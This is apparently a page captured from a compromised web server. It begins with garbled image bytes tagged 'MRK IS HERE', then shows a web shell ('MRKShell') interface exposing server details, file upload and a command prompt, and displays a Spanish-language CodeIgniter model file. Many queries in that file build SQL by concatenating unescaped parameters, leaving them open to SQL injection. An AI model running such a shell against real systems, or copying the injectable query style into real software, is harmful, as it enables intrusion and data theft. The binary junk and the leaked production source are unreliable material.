JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.168
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/vuelos/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/vuelos/application/models/Genesis_md.php
<?php

class Genesis_md extends CI_Model {

    function __construct() {
        parent::__construct();
    }

    // NUEVOS

    function getConsultorios($id) {
        $query = $this->db->query('
                        SELECT *
                        FROM consultorios
                        WHERE id_propiedad IN (SELECT id_propiedad FROM contratos WHERE id = ' . $id . ')');
        return $query->result();
    }

    function getTurnosDisp($id) {
        $query = $this->db->query('
                        SELECT *
                        FROM turno
                        WHERE id NOT IN (SELECT id_turno FROM turnoxconsultorio WHERE id_consultorio = ' . $id . ')');
        return $query->result();
    }

    function getModulosDisp($id_consultorio) {
        $query = $this->db->query('
                        SELECT *
                        FROM turnoxconsultorio
                        WHERE id_consultorio = ' . $id_consultorio . ' AND id NOT IN (SELECT turnoxconsultorio.id FROM turnoxconsultorio JOIN turnoxconsultorioxcontrato ON turnoxconsultorio.id = turnoxconsultorioxcontrato.id_turnoxconsultorio)');
        return $query->result();
    }

    function getModulos() {
        $query = $this->db->query('
                        SELECT turnoxconsultorio.id_consultorio, turno.dia, turno.hora_inicio, medicos.nombre, medicos.apellido, contratos.id
                        FROM turnoxconsultorio
                        JOIN turnoxconsultorioxcontrato ON turnoxconsultorio.id = turnoxconsultorioxcontrato.id_turnoxconsultorio
                        JOIN contratos ON turnoxconsultorioxcontrato.id_contrato = contratos.id
                        JOIN turno ON turnoxconsultorio.id_turno = turno.id
                        JOIN medicos ON contratos.id_medico = medicos.id');
        return $query->result();
    }

    function getPeriodo($id) {
        $query = $this->db->query("
                        SELECT periodos.id, periodos.periodo, periodos.estado
                        FROM periodos
                        JOIN contratos ON periodos.id_contrato = contratos.id
                        WHERE contratos.id = " . $id . " AND periodos.estado = 1 OR periodos.estado = 3 ORDER BY periodo ASC");
        return $query->result();
    }

    function getPeriodos() {
        $query = $this->db->query("
                        SELECT *
                        FROM periodos
                        ORDER BY periodo ASC");
        return $query->result();
    }

    function getMedicosContratos($id) {
        $query = $this->db->query("
                        SELECT *
                        FROM medicos
                        JOIN contratos ON medicos.id = contratos.id_medico
                        WHERE contratos.id = " . $id . "");
        return $query->result();
    }

    function getLibroDiario($fecha, $caja) {
        $query = $this->db->query("
                        SELECT ingresos.fecha AS fecha, ingresos.monto AS monto, ingresos.id AS id_ingresos, NULL AS id_gastos, NULL AS id_compras, NULL AS id_caja, NULL AS id_caja2, creado AS creado FROM ingresos
                        WHERE fecha = '" . $fecha . "'
                        UNION ALL
                        SELECT gastos.fecha AS fecha, gastos.monto AS monto, NULL, gastos.id AS id_gastos, NULL, NULL, NULL, creado AS creado FROM gastos
                        WHERE fecha = '" . $fecha . "'
                        UNION ALL
                        SELECT compras.fecha AS fecha, compras.importe AS monto, NULL, NULL, compras.id AS id_compras, NULL, NULL, creado AS creado FROM compras
                        WHERE fecha = '" . $fecha . "'
                        UNION ALL
                        SELECT cajas_movimientos.fecha AS fecha, cajas_movimientos.monto AS monto, NULL, NULL, NULL, cajas_movimientos.id AS id_caja, NULL, creado AS creado FROM cajas_movimientos
                        WHERE fecha = '" . $fecha . "' AND id_caja = " . $caja . "
                        UNION ALL
                        SELECT cajas_movimientos.fecha AS fecha, cajas_movimientos.monto AS monto, NULL, NULL, NULL, NULL, cajas_movimientos.id AS id_caja2, creado AS creado FROM cajas_movimientos
                        WHERE fecha = '" . $fecha . "' AND id_caja2 = " . $caja . " ORDER BY creado ASC ");
        return $query->result();
    }

    function getCompras($fecha, $caja) {
        $query = $this->db->query("
                        SELECT compras_productos.id_producto, compras_productos.precio_total, compras_productos.cantidad, compras.fecha
                        FROM compras
                        JOIN compras_productos ON compras.id = compras_productos.id_compra
                        WHERE compras.fecha = '" . $fecha . "' AND compras.id_caja = " . $caja . "");
        return $query->result();
    }

    function getComprasT($fecha, $caja) {
        $query = $this->db->query("
                        SELECT SUM(importe) AS saldo
                        FROM compras
                        WHERE fecha = '" . $fecha . "' AND id_caja = " . $caja . "");
        return $query->result();
    }

    function getIngresosT($fecha, $caja) {
        $query = $this->db->query("
                        SELECT SUM(monto) AS saldo
                        FROM ingresos
                        WHERE fecha = '" . $fecha . "' AND id_caja = " . $caja . "");
        return $query->result();
    }

    function getGastosT($fecha, $caja) {
        $query = $this->db->query("
                        SELECT SUM(monto) AS saldo
                        FROM gastos
                        WHERE fecha = '" . $fecha . "' AND id_caja = " . $caja . "");
        return $query->result();
    }

    function getMovimientosIT($fecha, $caja) {
        $query = $this->db->query("
                        SELECT SUM(monto) AS saldo
                        FROM cajas_movimientos
                        WHERE fecha = '" . $fecha . "' AND id_caja = " . $caja . " AND movimiento = 'Ingresar'");
        return $query->result();
    }

    function getMovimientosTT($fecha, $caja) {
        $query = $this->db->query("
                        SELECT SUM(monto) AS saldo
                        FROM cajas_movimientos
                        WHERE fecha = '" . $fecha . "' AND id_caja = " . $caja . " AND movimiento = 'Transferir'");
        return $query->result();
    }

    function getMovimientosTTT($fecha, $caja) {
        $query = $this->db->query("
                        SELECT SUM(monto) AS saldo
                        FROM cajas_movimientos
                        WHERE fecha = '" . $fecha . "' AND id_caja2 = " . $caja . " AND movimiento = 'Transferir'");
        return $query->result();
    }

    function getMovimientosRT($fecha, $caja) {
        $query = $this->db->query("
                        SELECT SUM(monto) AS saldo
                        FROM cajas_movimientos
                        WHERE fecha = '" . $fecha . "' AND id_caja = " . $caja . " AND movimiento = 'Retirar'");
        return $query->result();
    }

    function getCaja($id) {
        $query = $this->db->query("
                        SELECT * 
                        FROM cajas_user
                        WHERE id_usuario = " . $id . " AND id_tipo = '1'");
        return $query->result();
    }

    function getPrevisionProductos($id) {
        $query = $this->db->query("
                        SELECT id_producto, AVG(cantidad) AS promedio, fecha 
                        FROM egresos
                        WHERE id_producto = " . $id . " AND fecha BETWEEN '" . date('Y-m-d', strtotime('-3 months')) . "' AND '" . date('Y-m-d', time()) . "'");
        return $query->result();
    }

    function getPrevisionGastos($id) {
        $query = $this->db->query("
                        SELECT id_categoria, AVG(monto) AS promedio, fecha 
                        FROM gastos
                        WHERE id_categoria = " . $id . " AND fecha BETWEEN '" . date('Y-m-d', strtotime('-3 months')) . "' AND '" . date('Y-m-d', time()) . "'");
        return $query->result();
    }

    function addRenovar($id) {
        $this->db->query("
                        INSERT INTO turnoxconsultorioxcontrato_old (`id_turnoxconsultorio`,`id_contrato`,`creado`,`id_user`)
                        SELECT `id_turnoxconsultorio`,`id_contrato`,`creado`,`id_user`
                        FROM turnoxconsultorioxcontrato
                        WHERE id_contrato = " . $id . "");
    }

    function addCancelar($id) {
        $this->db->query("
                        DELETE FROM turnoxconsultorioxcontrato
                        WHERE id_contrato = " . $id . "");
    }

    function addRenovar2($id, $id2) {
        $this->db->query("
                        UPDATE turnoxconsultorioxcontrato
                        SET id_contrato = " . $id2 . "
                        WHERE id_contrato = " . $id . "");
    }

    function getMedicos() {
        $query = $this->db
                ->select('*')
                ->order_by('nombre', 'asc')
                ->get('medicos');
        return $query->result();
    }

    function getIngresosL() {
        $query = $this->db->query("
                        SELECT *
                        FROM ingresos
                        ORDER BY fecha DESC");
        return $query->result();
    }

    // VIEJOS

    function getOpciones($id) {
        $query = $this->db
                ->select('*')
                ->where('opcion_id =', $id)
                ->get('opciones_variables');
        return $query->result();
    }

    function getCiudades() {
        $query = $this->db
                ->select('c.ciudadid, c.nombre, p.nombre AS nombre_provincia')
                ->join('provincia p', 'c.provinciaid = p.provinciaid')
                ->get('ciudad c');
        return $query->result();
    }

    function contador($id, $campo, $tabla) {
        $query = $this->db->query('
                        SELECT COUNT(id) AS cantidad
                        FROM ' . $tabla . '
                        WHERE ' . $campo . ' = ' . $id);
        return $query->row();
    }

    function getUltimosAccesos($id) {
        $query = $this->db
                ->select('*')
                ->where('user_id', $id)
                ->order_by('id', 'desc')
                ->limit(5)
                ->get('login_attempts');
        return $query->result();
    }

    function getAccesosDirectosPadres($id) {
        $query = $this->db
                ->select('p.*, m.descripcion, m.dashboard, m.active')
                ->join('menus m', 'm.id = p.menu_id')
                ->join('users_groups ug', 'ug.group_id = p.group_id')
                ->where('ug.user_id', $id)
                ->where('m.parent', 0)
                ->where('p.read', 1)
                ->where('m.dashboard', 1)
                ->where('m.active', 1)
                ->order_by('m.estado')
                ->get('permisos p');
        return $query->result();
    }

    function getAccesosDirectosHijos($id) {
        $query = $this->db
                ->select('p.*, m.link, m.descripcion, m.dashboard, m.parent, m.iconpath')
                ->join('menus m', 'm.id = p.menu_id')
                ->join('users_groups ug', 'ug.group_id = p.group_id')
                ->where('ug.user_id', $id)
                ->where('m.parent !=', 0)
                ->where('p.read', 1)
                ->where('m.dashboard', 1)
                ->where('m.active', 1)
                ->order_by('m.descripcion')
                ->get('permisos p');
        return $query->result();
    }

    function validarChat($miID, $suID) {
        $query = $this->db->query("SELECT chat_id
                                FROM chat_usuarios
                                WHERE usuario_id = " . $miID . " AND chat_id IN (SELECT chat_id FROM chat_usuarios WHERE usuario_id = " . $suID . ")");
        return $query->row();
    }

    function getMensajesChat($chat_id) {
        $query = $this->db
                ->select('m.*, us.id AS id_usuario, us.apellido, us.nombre, us.foto')
                ->join('chat_usuarios u', 'u.id = m.chat_usuario_id')
                ->join('users us', 'us.id = u.usuario_id')
                ->where('u.chat_id', $chat_id)
                ->order_by('m.id')
                ->get('chat_mensajes m');
        return $query->result();
    }

    function getMensajesChatDos($chat_id) {
        $query = $this->db
                ->select('m.*, us.id AS id_usuario, us.apellido, us.nombre, us.foto')
                ->join('chat_usuarios u', 'm.chat_usuario_id = u.id')
                ->join('users us', 'us.id = u.usuario_id')
                ->where('m.chat_usuario_id', $chat_id)
                ->order_by('m.id')
                ->get('chat_mensajes m');
        return $query->result();
    }

    function getIDChatUsuario($chat_id, $miID) {
        $query = $this->db
                ->select('id')
                ->where('chat_id', $chat_id)
                ->where('usuario_id', $miID)
                ->get('chat_usuarios');
        return $query->row();
    }

    function getChats($id) {
        $query = $this->db->query(
                '   SELECT c.usuario_id 
                FROM chat_usuarios c
                JOIN chat ch ON c.chat_id = ch.id
                WHERE c.usuario_id != ' . $id . ' 
                                AND c.chat_id IN (SELECT chat_id FROM chat_usuarios WHERE usuario_id = ' . $id . ')
                                AND ch.tipo = 1
            '
        );
        return $query->result();
    }

    function getChatsGrupales($id) {
        $query = $this->db->query(
                '   SELECT c.usuario_id, c.chat_id
                FROM chat_usuarios c
                JOIN chat ch ON c.chat_id = ch.id
                WHERE c.usuario_id != ' . $id . ' 
                                AND c.chat_id IN (SELECT chat_id FROM chat_usuarios WHERE usuario_id = ' . $id . ')
                                AND ch.tipo = 2
            '
        );
        return $query->result();
    }

    function getPersonasChats($id) {
        $query = $this->db->query("SELECT id, username, nombre, apellido, foto FROM users WHERE id =" . $id);
        return $query->row();
    }

    function getMapaInvernadero($id, $columna) {
        $query = $this->db
                ->select('*')
                ->where('vivero_id', $id)
                ->where('columna', $columna)
                ->order_by('fila', 'asc')
                ->get('viveros_invernaderos');
        return $query->result();
    }

    function getMapaModulos() {
        $query = $this->db
                ->select('*')
                ->order_by('vivero_invernadero_id', 'asc')
                ->order_by('posicion', 'asc')
                ->get('viveros_invernaderos_modulos');
        return $query->result();
    }

    function getNotasColaborativas() {
        $query = $this->db
                ->select('n.*, m.titulo, u.apellido, u.nombre')
                ->join('notas_colaborativas_mensajes m', 'm.nota_colaborativa_id = n.id')
                ->join('users u', 'u.id = n.usuario_id')
                ->group_by('n.id')
                ->get('notas_colaborativas n');
        return $query->result();
    }

    function getNotaColaborativaOriginal($id) {
        $query = $this->db
                ->select('n.*, m.titulo, m.descripcion, m.fecha AS fecha_publicacion, u.apellido, u.nombre, u.foto')
                ->join('notas_colaborativas_mensajes m', 'm.nota_colaborativa_id = n.id')
                ->join('users u', 'u.id = n.usuario_id')
                ->where('m.nota_colaborativa_id', $id)
                ->limit(1)
                ->order_by('fecha_publicacion')
                ->get('notas_colaborativas n');
        return $query->row();
    }

    function getNotaColaborativaTodal($id) {
        $query = $this->db
                ->select('n.*, m.titulo, m.descripcion, m.fecha AS fecha_publicacion, u.apellido, u.nombre, u.foto')
                ->join('notas_colaborativas_mensajes m', 'm.nota_colaborativa_id = n.id')
                ->join('users u', 'u.id = m.usuario_id')
                ->where('m.nota_colaborativa_id', $id)
                ->order_by('fecha_publicacion')
                ->get('notas_colaborativas n');
        return $query->result();
    }

    function getNotaColaborativaMensajes($id) {
        $query = $this->db
                ->select('u.nombre, u.apellido, ncm.* ')
                ->join('users u', 'ncm.usuario_id = u.id')
                ->where('nota_colaborativa_id', 1)
                ->get('notas_colaborativas_mensajes ncm');
        return $query->result();
    }

    function getListasTareas() {
        $query = $this->db
                ->select('l.*, u.apellido AS apellido_usuario, u.nombre AS nombre_usuario, o.nombre AS estado_tarea')
                ->join('opciones_variables o', 'o.id = l.estado_id')
                ->join('users u', 'u.id = l.usuario_id')
                ->get('listas_tareas l');
        return $query->result();
    }

    function porcentajeListasTareas($id) {
        $query = $this->db
                ->select('COUNT(t.estado_id) AS total')
                ->where('t.estado_id = 4')
                ->join('tareas t', 't.id = lt.tarea_id')
                ->where('lt.lista_tarea_id', $id)
                ->get('tareas_listas_tareas lt');
        return $query->row();
    }

    function getTareasTotal($id) {
        $query = $this->db
                ->select('COUNT(*) AS totaltareas')
                ->join('tareas t', 't.id = lt.tarea_id')
                ->where('lt.lista_tarea_id', $id)
                ->get('tareas_listas_tareas lt');
        return $query->row();
    }

    function getMisTareas($id) {
        $query = $this->db->query('
                        SELECT t.*, o.nombre AS nombre_estado, p.nombre AS nombre_prioridad
                        FROM tareas t
                        JOIN opciones_variables o ON t.estado_id = o.id
                        JOIN opciones_variables p ON t.prioridad_id = p.id
                        WHERE t.id NOT IN (SELECT tarea_id FROM tareas_listas_tareas) AND t.usuario_id = ' . $id);
        return $query->result();
    }

    function getTareasAsignadas($id) {
        $query = $this->db->query('
                        SELECT t.*, o.nombre AS nombre_estado, p.nombre AS nombre_prioridad
                        FROM tareas t
                        JOIN opciones_variables o ON t.estado_id = o.id
                        JOIN opciones_variables p ON t.prioridad_id = p.id
                        WHERE t.id IN (SELECT tarea_id FROM tareas_listas_tareas) AND t.usuario_id = ' . $id);
        return $query->result();
    }

    function getListaTarea($id) {
        $query = $this->db
                ->select('l.*, u.apellido AS apellido_usuario, u.nombre AS nombre_usuario, o.nombre AS estado_tarea')
                ->join('opciones_variables o', 'o.id = l.estado_id')
                ->join('users u', 'u.id = l.usuario_id')
                ->where('l.id', $id)
                ->get('listas_tareas l');
        return $query->row();
    }

    function getTareas($id) {
        $user = $this->ion_auth->user()->row();
        $user_groups = $this->ion_auth->get_users_groups($user->id)->row();
        if ($user_groups->id == 1 || $user_groups->id == 2) {
            $query = $this->db
                    ->select('t.*, o.nombre AS estado, u.apellido, u.nombre AS nombre_usuario, u.username, u.foto, p.nombre AS prioridad')
                    ->join('opciones_variables o', 'o.id = t.estado_id')
                    ->join('opciones_variables p', 'p.id = t.prioridad_id')
                    ->join('users u', 'u.id = t.usuario_id')
                    ->join('tareas_listas_tareas tl', 'tl.tarea_id = t.id')
                    ->where('tl.lista_tarea_id', $id)
                    ->order_by('t.estado_id')
                    ->order_by('t.prioridad_id')
                    ->get('tareas t');
            return $query->result();
        } else {
            $query = $this->db
                    ->select('t.*, o.nombre AS estado, u.apellido, u.nombre AS nombre_usuario, u.username, u.foto, p.nombre AS prioridad')
                    ->join('opciones_variables o', 'o.id = t.estado_id')
                    ->join('opciones_variables p', 'p.id = t.prioridad_id')
                    ->join('users u', 'u.id = t.usuario_id')
                    ->join('tareas_listas_tareas tl', 'tl.tarea_id = t.id')
                    ->where('tl.lista_tarea_id', $id)
                    ->where('t.usuario_id', $user->id)
                    ->order_by('t.estado_id')
                    ->order_by('t.prioridad_id')
                    ->get('tareas t');
            return $query->result();
        }
    }

    function getComentarios($id) {
        $query = $this->db
                ->select('c.*, u.apellido, u.nombre AS nombre_usuario, u.username, u.foto')
                ->join('users u', 'u.id = c.usuario_id')
                ->where('c.tarea_id', $id)
                ->get('tareas_comentarios c');
        return $query->result();
    }

    function getTarea($id) {
        $query = $this->db
                ->select('t.*, o.nombre AS estado, u.apellido, u.nombre AS nombre_usuario, u.username, u.foto, p.nombre AS prioridad')
                ->join('opciones_variables o', 'o.id = t.estado_id')
                ->join('opciones_variables p', 'p.id = t.prioridad_id')
                ->join('users u', 'u.id = t.usuario_id')
                ->where('t.id', $id)
                ->get('tareas t');
        return $query->row();
    }

    function getTareasEstados($id) {
        $query = $this->db
                ->select('t.*, o.nombre AS estado, u.apellido, u.nombre AS nombre_usuario, u.username, u.foto')
                ->join('opciones_variables o', 'o.id = t.estado_id')
                ->join('users u', 'u.id = t.usuario_id')
                ->where('t.estado_id', $id)
                ->get('tareas t');
        return $query->result();
    }

    function getTareasUsuarios($id) {
        $query = $this->db
                ->select('t.*, o.nombre AS estado, u.apellido, u.nombre AS nombre_usuario, u.username, u.foto')
                ->join('opciones_variables o', 'o.id = t.estado_id')
                ->join('users u', 'u.id = t.usuario_id')
                ->where('t.usuario_id', $id)
                ->get('tareas t');
        return $query->result();
    }

    function getAccesosUsuarios($id) {
        $query = $this->db
                ->select('l.*, u.apellido, u.nombre, u.username')
                ->join('users u', 'u.id = l.user_id')
                ->where('l.user_id', $id)
                ->get('login_attempts l');
        return $query->result();
    }

    function getUltimosMensajes($id) {
        $query = $this->db->query('
                        SELECT c.*, m.id AS id_mensaje
                        FROM chat_usuarios c
                        JOIN chat_mensajes m ON m.chat_usuario_id = c.id
                        WHERE c.chat_id IN (SELECT chat_id FROM chat_usuarios WHERE usuario_id = ' . $id . ')
                        AND c.usuario_id != ' . $id . '
                        GROUP BY c.id
                        ORDER BY id_mensaje DESC
                        LIMIT 5');
        return $query->result();
    }

    function getUltimosMensajesDos($id, $chat) {
        $query = $this->db->query('
                        SELECT c.*, m.*, u.apellido, u.nombre, u.foto
                        FROM chat_usuarios c
                        JOIN chat_mensajes m ON m.chat_usuario_id = c.id
                        JOIN users u ON c.usuario_id = u.id
                        WHERE c.chat_id IN (SELECT chat_id FROM chat_usuarios WHERE usuario_id = ' . $id . ')
                        AND c.usuario_id != ' . $id . ' AND c.id = ' . $chat . '
                        ORDER BY m.id DESC
                        LIMIT 1');
        return $query->row();
    }

    function getEmpleadosAsistencia($id) {
        $query = $this->db->query('
                        SELECT id, apellido, nombre, dni
                        FROM empleados
                        WHERE id NOT IN (SELECT empleado_id FROM asistencias_empleados WHERE asistencia_id = ' . $id . ')');
        return $query->result();
    }

    function getEmpleadosAsistenciaList($id) {
        $query = $this->db
                ->select('a.id, e.apellido, e.nombre, e.dni, o.nombre AS estado')
                ->join('empleados e', 'a.empleado_id = e.id')
                ->join('opciones_variables o', 'a.estado_id = o.id')
                ->where('a.asistencia_id', $id)
                ->get('asistencias_empleados a');
        return $query->result();
    }

    function permisosChat($id) {
        $query = $this->db
                ->select('up.user_id, p.*')
                ->join('permisos_chat p', 'p.group_id = up.group_id')
                ->where('up.user_id', $id)
                ->get('users_groups up');
        return $query->row();
    }

    function getPlanta($copa, $porta_injerto, $precinto, $yema) {
        $query = $this->db
                ->select('*')
                ->where('copa_id', $copa)
                ->where('porta_injerto_id', $porta_injerto)
                ->where('precinto_id', $precinto)
                ->where('yema_id', $yema)
                ->get('stock_plantas');
        return $query->row();
    }

    /* function getCompras() {
      $query = $this->db
      ->select('c.*, u.apellido, u.nombre')
      ->join('users u', 'u.id = c.usuario_id')
      ->get('compras c');
      return $query->result();
      } */

    function getCompra($id) {
        $query = $this->db
                ->select('c.*, u.apellido, u.nombre')
                ->join('users u', 'u.id = c.usuario_id')
                ->where('c.id', $id)
                ->get('compras c');
        return $query->row();
    }

    function getCompraDetalle($compra, $tabla, $tabla_dos, $campo) {
        $query = $this->db
                ->select('c.*, s.nombre')
                ->join($tabla_dos . ' s', 's.id = c.' . $campo)
                ->where('c.compra_id', $compra)
                ->get($tabla . ' c');
        return $query->result();
    }

    function getVentas() {
        $query = $this->db
                ->select('v.*, u.apellido AS apellido_usuario, u.nombre AS nombre_usuario, c.nombre AS nombre_cliente')
                ->join('users u', 'u.id = v.usuario_id')
                ->join('clientes c', 'c.id = v.cliente_id')
                ->get('ventas v');
        return $query->result();
    }

    function getVenta($id) {
        $query = $this->db
                ->select('v.*, u.apellido AS apellido_usuario, u.nombre AS nombre_usuario, c.nombre AS nombre_cliente')
                ->join('users u', 'u.id = v.usuario_id')
                ->join('clientes c', 'c.id = v.cliente_id')
                ->where('v.id', $id)
                ->get('ventas v');
        return $query->row();
    }

    function getVentaDetalle($compra, $tabla, $tabla_dos, $campo) {
        $query = $this->db
                ->select('c.*, s.nombre')
                ->join($tabla_dos . ' s', 's.id = c.' . $campo)
                ->where('c.venta_id', $compra)
                ->get($tabla . ' c');
        return $query->result();
    }

    function getTipoTarea($id, $campo) {
        $query = $this->db->query('
                        SELECT COUNT(id) AS cantidad
                        FROM tareas
                        WHERE usuario_id = ' . $id . ' AND estado_id = ' . $campo);
        return $query->row();
    }

    function getPlantasTotal() {
        $query = $this->db->query('
                SELECT copa_id,porta_injerto_id,precinto_id,yema_id,certificado_id,fecha_siembra,fecha_injerto,fecha_entrega,observaciones,vivero_id,invernadero_id,modulo_id,nave_id,ubicacion_id, COUNT(*) AS total
                FROM plantas
                GROUP BY copa_id,porta_injerto_id,precinto_id,yema_id,certificado_id,fecha_siembra,fecha_injerto,fecha_entrega,observaciones,vivero_id,invernadero_id,modulo_id,nave_id,ubicacion_id
                ORDER BY copa_id');
        return $query->result();
    }

    function getPlantasTotalVenta() {
        $query = $this->db->query('
                SELECT copa_id,porta_injerto_id,precinto_id,yema_id,certificado_id,fecha_siembra,fecha_injerto,fecha_entrega,observaciones,vivero_id,invernadero_id,modulo_id,nave_id,ubicacion_id, COUNT(*) AS total, MAX(id) AS planta_id
                FROM plantas
                GROUP BY copa_id,porta_injerto_id,precinto_id,yema_id,certificado_id,fecha_siembra,fecha_injerto,fecha_entrega,observaciones,vivero_id,invernadero_id,modulo_id,nave_id,ubicacion_id
                ORDER BY copa_id');
        return $query->result();
    }

    function getNave($id) {
        $query = $this->db->query('
                SELECT nave_id
                FROM naves_canteros
                WHERE id = ' . $id . '');
        return $query->result();
    }

    function getModulo($id) {
        $query = $this->db->query('
                SELECT nave_id
                FROM naves_canteros
                WHERE id = ' . $id . '');
        return $query->result();
    }

    function getInvernadero($id) {
        $query = $this->db->query('
                SELECT nave_id
                FROM naves_canteros
                WHERE id = ' . $id . '');
        return $query->result();
    }

    function getPlantasVendidas() {
        $query = $this->db->query('
                SELECT venta_id,copa,porta_injerto,precinto,yema,certificado,fecha_siembra,fecha_injerto,fecha_entrega,observaciones,vivero,invernadero,modulo,nave,ubicacion, COUNT(*) AS total
                FROM ventas_plantas
                GROUP BY venta_id,copa,porta_injerto,precinto,yema,certificado,fecha_siembra,fecha_injerto,fecha_entrega,observaciones,vivero,invernadero,modulo,nave,ubicacion
                ORDER BY copa');
        return $query->result();
    }

    function getPlantasDetalle() {
        $query = $this->db->query('
                SELECT venta_id,precio,iva,copa,porta_injerto,precinto,yema,certificado,fecha_siembra,fecha_injerto,fecha_entrega,observaciones,vivero,invernadero,modulo,nave,ubicacion, COUNT(*) AS total
                FROM ventas_plantas
                GROUP BY venta_id,precio,iva,copa,porta_injerto,precinto,yema,certificado,fecha_siembra,fecha_injerto,fecha_entrega,observaciones,vivero,invernadero,modulo,nave,ubicacion
                ORDER BY copa');
        return $query->result();
    }

    function getImporte($id) {
        $query = $this->db->query('
                SELECT venta_id,precio,iva,copa,porta_injerto,precinto,yema,certificado,fecha_siembra,fecha_injerto,fecha_entrega,observaciones,vivero,invernadero,modulo,nave,ubicacion, SUM(precio * iva) AS total
                FROM ventas_plantas
                WHERE venta_id = ' . $id . '
                GROUP BY venta_id');
        return $query->result();
    }

    function getImporteSIVA($id) {
        $query = $this->db->query('
                SELECT venta_id,precio, SUM(precio) AS total
                FROM ventas_plantas
                WHERE venta_id = ' . $id . '');
        return $query->result();
    }

    function getFacturasAbiertas() {
